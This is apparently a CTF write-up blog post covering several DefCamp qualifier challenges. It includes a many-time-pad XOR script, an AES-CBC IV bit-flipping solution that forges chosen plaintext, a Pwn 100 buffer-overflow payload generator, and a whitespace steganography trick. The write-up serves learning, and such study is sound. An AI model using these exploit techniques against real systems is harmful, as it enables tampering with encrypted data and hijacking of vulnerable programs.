Last week, Online Qualification of DefCamp or DCTF was opened.
Our team don’t have chance to join The Final, however, there are some interesting things (with me at least) to share in this post.
And a hint is about xor time one time (I can’t view exactly problem now).
Too clear, we will use a technique called Many Time Pad.
My old piece of code was useful:
12345678910111213141516171819202122232425
import re
def bstrxor(a, b): # xor two strings of different lengths
if len(a) > len(b):
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])
else:
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])
GUESSWORD = 'The'
if __name__ == '__main__':
f = open('input.txt', 'r')
clines = f.readlines()
f.close()
n = len(clines)
for i in range(n):
for j in range(n):
if (i != j):
x = clines[i][:-1].decode('hex')
y = clines[j][:-1].decode('hex')
pair = bstrxor(x, y)
print i, j, '\t', bstrxor(pair, GUESSWORD)
print ''
Crypto 200
Lucky me, keep the question:
1234567
The folowing plaintext has been encrypted using an unknown key, with AES-128 CBC:
Original: Pass: sup3r31337. Don't loose it!
Encrypted: 4f3a0e1791e8c8e5fefe93f50df4d8061fee884bcc5ea90503b6ac1422bda2b2b7e6a975bfc555f44f7dbcc30aa1fd5e
IV: 19a9d10c3b155b55982a54439cb05dce
31396139643130633362313534343466393c3563353534333c61663130626365
How would you modify it so that it now decrypts to: "Pass: notAs3cre7. Don't loose it!"
First through in my mind is “Bit flipping” cuz, I think it in mofify it is ciphertext 4f3a0e1791e8c8e5fefe93f50df4d8061fee884bcc5ea90503b6ac1422bda2b2b7e6a975bfc555f44f7dbcc30aa1fd5e.
But the block what we need modify is the first one.
One hour
Two hour
Three hour
…
Look at the CBC Mode graph with concentration, we suddenly recognize that the it could be IV too. If that happended, the solution will be much easier.
Here’s my answer:
12345678910111213141516171819
def bstrxor(a, b): # xor two strings of different lengths
if len(a) > len(b):
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)])
else:
return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])])
if __name__ == '__main__':
#old_iv = "\x19\xa9\xd1\x0c\x3b\x15\x5b\x55\x98\x2a\x54\x43\x9c\xb0\x5d\xce"
old_iv = "19a9d10c3b155b55982a54439cb05dce"
print len(old_iv)
old_p = "Pass: sup3r31337. Don't loose it!"
old_b = "Pass: sup3r31337"
static = bstrxor(old_b, old_iv.decode('hex'))
print static.encode('hex')
print len(static), len(old_b), len(old_iv.decode('hex'))
new_b = "Pass: notAs3cre7"
new_iv = bstrxor(new_b, static)
print new_iv.encode('hex')
Crypto 300
My teamate solved this challenge with graph algorthm (DFS) and brute-forcing last bit technique.
However, i haven’t ever received detail solution from him, so, it is the only thing i know.
Pwn 100
It’s a simple Buffer over flow.
Everything we need is overwrite the xorkey to 0xBADB0169
Calculate the space in stack, i have:
1234567891011
## compose_payload.py
#!/usr/bin/python2.7
from pwn import *
if __name__ == '__main__':
junk = "A" * 52
val = 0xBADB0169
payload = junk + p32(val)
f = open("input.0x", "w")
f.write(payload)
f.close()
The hardest work in this challenge must be find out the way to vpn to the server :))
Then, push the payload to program, we have flag.
Misc 200
My teamate give me the web page which contains this text:
I give care to the space between words: sometime they are \x20, something not. It may be binary’s sign.
I read from first character to last, if it’s pure space character \x20, i got 0 and 1 in otherwise.
Convert the result to ascii, i have the name to download next file.